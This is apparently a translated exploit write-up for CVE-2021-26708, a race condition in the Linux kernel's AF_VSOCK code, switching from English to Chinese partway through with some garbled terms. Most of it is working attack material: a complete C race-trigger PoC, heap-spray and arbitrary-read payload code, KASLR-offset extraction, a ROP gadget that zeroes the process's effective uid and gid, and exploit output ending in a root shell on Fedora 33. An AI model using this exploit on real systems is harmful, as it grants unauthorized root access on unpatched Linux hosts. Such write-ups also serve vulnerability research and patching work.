CVE-2021-26708 Linux kernel before 5.10.13 elevation of privilege vulnerability
Vulnerability
These vulnerabilities are race conditions caused by incorrect locking in net/vmw_vsock/af_vsock.c. These conditional competitions were implicitly introduced in the submission that added VSOCK multi-transport support in November 2019, and were merged into the Linux kernel 5.5-rc1 version.
CONFIG_VSOCKETS and CONFIG_VIRTIO_VSOCKETS are provided as kernel modules in all major GNU/Linux distributions. When you create a socket for the AF_VSOCK domain, these vulnerable modules are automatically loaded.
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
The creation of AF_VSOCK sockets is available to non-privileged users and does not require user name space.
Memory corruption
The following is a detailed introduction to the use of CVE-2021-26708, using the conditional competition in vsock_stream_etssockopt(). Two threads are required to reproduce. The first thread calls setsockopt() :
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
The second thread changes the virtual socket transmission when vsock_stream_etssockopt() tries to acquire the socket lock, by reconnecting the virtual socket:
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
In order to process the connect() of the virtual socket, the kernel executes vsock_stream_connect() which calls vsock_assign_transport(). This function contains the following code:
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk);
}
vsock_stream_connect() contains a socket lock, and vsock_stream_setsockopt() in the parallel thread also tries to obtain it, which constitutes a conditional competition. Therefore, when the second connect() is performed with a different svm_cid, the vsock_deassign_transport() function is called. This function executes virtio_transport_destruct(), releases vsock_sock.trans, and vsk->transport is set to NULL. When vsock_stream_connect() releases the socket lock, vsock_stream_setsockopt() can continue to execute. It calls vsock_update_buffer_size(), and then calls transport->notify_buffer_size(). Here transport contains an outdated value from a local variable, which does not match vsk->transport (the original value is set to NULL).
When the kernel executes virtio_transport_notify_buffer_size(), memory corruption occurs:
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val;
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
这里，vvs是指向内核内存的指针，它已经在virtio_transport_destruct()中被释放。struct virtio_vsock_sock的大小为64字节，位于kmalloc-64块缓存中。buf_alloc字段类型为u32，位于偏移量40。VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL。*val的值由攻击者控制，它的四个最不重要的字节被写入释放的内存中。
模糊測試
syzkaller fuzzer沒有辦法重現這個崩潰，於是我決定自行研究。但為什麼fuzzer會失敗呢？觀察vsock_update_buffer_size()有所發現：
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
只有當val與當前的buffer_size不同時，才會調用notify_buffer_size()，也就是說setsockopt()執行SO_VM_SOCKETS_BUFFER_SIZE時，每次調用的size參數都應該不同。於是我構建了相關代碼:
/* * AF_VSOCK vulnerability trigger. * It's a PoC just for fun. * Author: Alexander Popov <[email protected]>. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sys/socket.h> #include <linux/vm_sockets.h> #include <unistd.h> #define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0) #define MAX_RACE_LAG_USEC 50 int vsock = -1; int tfail = 0; pthread_barrier_t barrier; int thread_sync(long lag_nsec) { int ret = -1; struct timespec ts0; struct timespec ts; long delta_nsec = 0; ret = pthread_barrier_wait(&barrier); if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) { perror("[-] pthread_barrier_wait"); return EXIT_FAILURE; } ret = clock_gettime(CLOCK_MONOTONIC, &ts0); if (ret != 0) { perror("[-] clock_gettime"); return EXIT_FAILURE; } while (delta_nsec < lag_nsec) { ret = clock_gettime(CLOCK_MONOTONIC, &ts); if (ret != 0) { perror("[-] clock_gettime"); return EXIT_FAILURE; } delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 + ts.tv_nsec - ts0.tv_nsec; } return EXIT_SUCCESS; } void *th_connect(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct sockaddr_vm addr = { .svm_family = AF_VSOCK, }; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } addr.svm_cid = VMADDR_CID_LOCAL; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); addr.svm_cid = VMADDR_CID_HYPERVISOR; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); return NULL; } void *th_setsockopt(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct timespec tp; unsigned long size = 0; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } clock_gettime(CLOCK_MONOTONIC, &tp); size = tp.tv_nsec; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(unsigned long)); return NULL; } int main(void) { int ret = -1; unsigned long size = 0; long loop = 0; pthread_t th[2] = { 0 }; vsock = socket(AF_VSOCK, SOCK_STREAM, 0); if (vsock == -1) err_exit("[-] open vsock"); printf("[+] AF_VSOCK socket is opened\n"); size = 1; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(unsigned long)); size = 0xfffffffffffffffdlu; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &size, sizeof(unsigned long)); ret = pthread_barrier_init(&barrier, NULL, 2); if (ret != 0) err_exit("[-] pthread_barrier_init"); for (loop = 0; loop < 30000; loop++) { long tmo1 = 0; long tmo2 = loop % MAX_RACE_LAG_USEC; printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2); ret = pthread_create(&th[0], NULL, th_connect, &tmo1); if (ret != 0) err_exit("[-] pthread_create #0"); ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2); if (ret != 0) err_exit("[-] pthread_create #1"); ret = pthread_join(th[0], NULL); if (ret != 0) err_exit("[-] pthread_join #0"); ret = pthread_join(th[1], NULL); if (ret != 0) err_exit("[-] pthread_join #1"); if (tfail) { printf("[-] some thread got troubles\n"); exit(EXIT_FAILURE); } } ret = close(vsock); if (ret) perror("[-] close"); printf("[+] now see your warnings in the kernel log\n"); return 0; }
這裡的size值取自clock_gettime()返回的納秒數，每次都可能不同。原始的syzkaller不會這麼處理，因為在syzkaller生成 fuzzing輸入時，syscall參數的值被確定，執行時不會改變。
四字節的力量
這裡我選擇Fedora 33 Server作為研究目標，內核版本為5.10.11-200.fc33.x86_64，並決心繞過SMEP和SMAP。
第一步，我開始研究穩定的堆噴射，該漏洞利用執行用戶空間的活動，使內核在釋放的virtio_vsock_sock的位置分配另一個64字節的對象。經過幾次實驗性嘗試後，確認釋放的virtio_vsock_sock被覆蓋，說明堆噴射是可行的。最終我找到了msgsnd() syscall。它在內核空間中創建了struct msg_msg，見pahole輸出：
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
前面是消息頭，後面是消息數據。如果用戶空間中的struct msgbuf有一個16字節的mtext，則會在kmalloc-64塊緩存中創建相應的msg_msg。 4字節的write-after-free會破壞偏移量40的void *security指針。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的內核數據，當收到 msg_msg時，就會被security_msg_msg_free()釋放。因此，破壞security指針的前半部分，就能獲得 arbitrary free。
內核信息洩露
這裡使用了CVE-2019-18683相同的技巧。虛擬套接字的第二個connect()調用vsock_deassign_transport()，將vsk->transport設置為NULL，使得vsock_stream_setsockopt()在內存崩潰後調用virtio_transport_send_pkt_info()，出現內核告警：
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34 ... CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014 RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common] ... RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80 RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0 RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000 R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008 R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0 FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0 Call Trace: virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common] vsock_update_buffer_size+0x5f/0x70 [vsock] vsock_stream_setsockopt+0x128/0x270 [vsock] ...
通過gdb調試，發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址，RBX寄存器包含了vsock_sock的內核地址。
實現任意讀
從 arbitrary free 到 use-after-free
從洩露的內核地址釋放一個對象 執行堆噴，用受控數據覆蓋該對象 使用損壞的對象進行權限升級 內核實現的System V消息有限制最大值DATALEN_MSG，即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息，剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段，size_t m_ts用於存儲大小。當進行覆蓋操作時，就可以把受控的值放在msg_msg.m_ts和msg_msg.next中：
Payload:
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr;
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
但是如何使用msg_msg讀取內核數據呢？通過閱讀msgrcv()系統調用文檔，我找到了好解決方案，使用msgrcv()和MSG標誌：
MSG_COPY (since Linux 3.8)
Nondestructively fetch a copy of the message at the ordinal position in the queue
specified by msgtyp (messages are considered to be numbered starting at 0).
這個標誌使內核將消息數據複製到用戶空間，不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y，則MSG是可用的，在Fedora Server適用。
任意讀的步驟
準備工作： 使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量（該漏洞至少需要兩個）; 打開/dev/kmsg進行解析; mmap()將spray_data內存區域配置userfaultfd()作為最後一部分; 啟動一個單獨的pthread來處理userfaultfd()事件; 啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射，並將它們掛在thread_barrier上; 獲取原始msg_msg的內核地址: 在虛擬套接字上進行條件競爭; 在第二個connect()後，在忙循環中等待35微秒; 調用msgsnd()來建立一個單獨的消息隊列；在內存破壞後，msg_msg對像被放置在virtio_vsock_sock位置; 解析內核日誌，從內核警告（RCX寄存器）中保存msg_msg的內核地址; 同時，從RBX寄存器中保存vsock_sock的內核地址; 使用損壞的 msg_msg對原始msg_msg執行任意釋放: 使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE，用於實現內存破壞； 在虛擬套接字上進行條件競爭； 在第二個connect()之後馬上調用msgsnd()；msg_msg被放置在virtio_vsock_sock的位置，實現破壞； 現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2)；
如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞，進而SELinux權限檢查失敗； 在這種情況下，msgsnd()返回-1，損壞的msg_msg被銷毀；釋放msg_msg.security可以釋放原始msg_msg； 用一個可控的payload 覆蓋原始msg_msg： msgsnd()失敗後，漏洞就會調用pthread_barrier_wait()，調用127個用於堆噴射的pthreads； 這些pthreads執行setxattr()的payload； 原始msg_msg被可控的數據覆蓋，msg_msg.next指針存儲vsock_sock對象的地址；
通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息，將vsock_sock內核對象的內容讀到用戶空間：
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
尋找攻擊目標
以下是我找到的點： 1.專用的塊緩存，如PINGv6和sock_inode_cache有很多指向對象的指針 2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。 3.const struct cred *owner指針在vsock_sock.sk偏移量840處，存儲了可以覆蓋進行權限升級的憑證的地址。 4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處，被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
下面是該漏洞如何從內存中提取這些指針:
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
在 sk_buff 上實現 Use-after-free
Linux內核中與網絡相關的緩衝區用struct sk_buff表示，這個對像中有skb_shared_info與destructor_arg，可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此，在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中，mem_cgroup對像也是如此。
我構建了以下步驟：
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字
2.在用戶空間中準備一個2800字節的緩衝區，並用0x42對其memset()
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字，用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
4.對vsock_sock執行任意讀取過程
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
6.對這個可能的sk_buff地址執行任意讀
7.如果在網絡數據的位置找到0x42424242424242lu，則找到真正的sk_buff，進入步驟8。否則，在可能的sk_buff地址上加4096，轉到步驟6
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射，並把它們掛在pthread_barrier上
9.對sk_buff內核地址進行任意釋放
10.調用pthread_barrier_wait()，執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
11.使用recv()接收服務器套接字的網絡消息。
以下是覆蓋sk_buff對象的有效payload：
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
skb_shared_info駐留在噴射數據中，正好在偏移量SKB_SHINFO_OFFSET處，即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的，所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局：
下面講講destructor_arg 回調:
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget，所以我自己進行了研究構造。
callback函數指針存儲一個ROP gadget 地址，RDI存儲callback函數的第一個參數，也就是ubuf_info本身的地址，RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要：當gadget從 RSI向 RDX指向的內存中寫入消息1時，有效的 uid和 gid將被零覆蓋。重複同樣的過程，直到權限升級到root。整個過程輸出流如下：
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================
[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready
[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3
[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000
[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb
[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15
[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30
[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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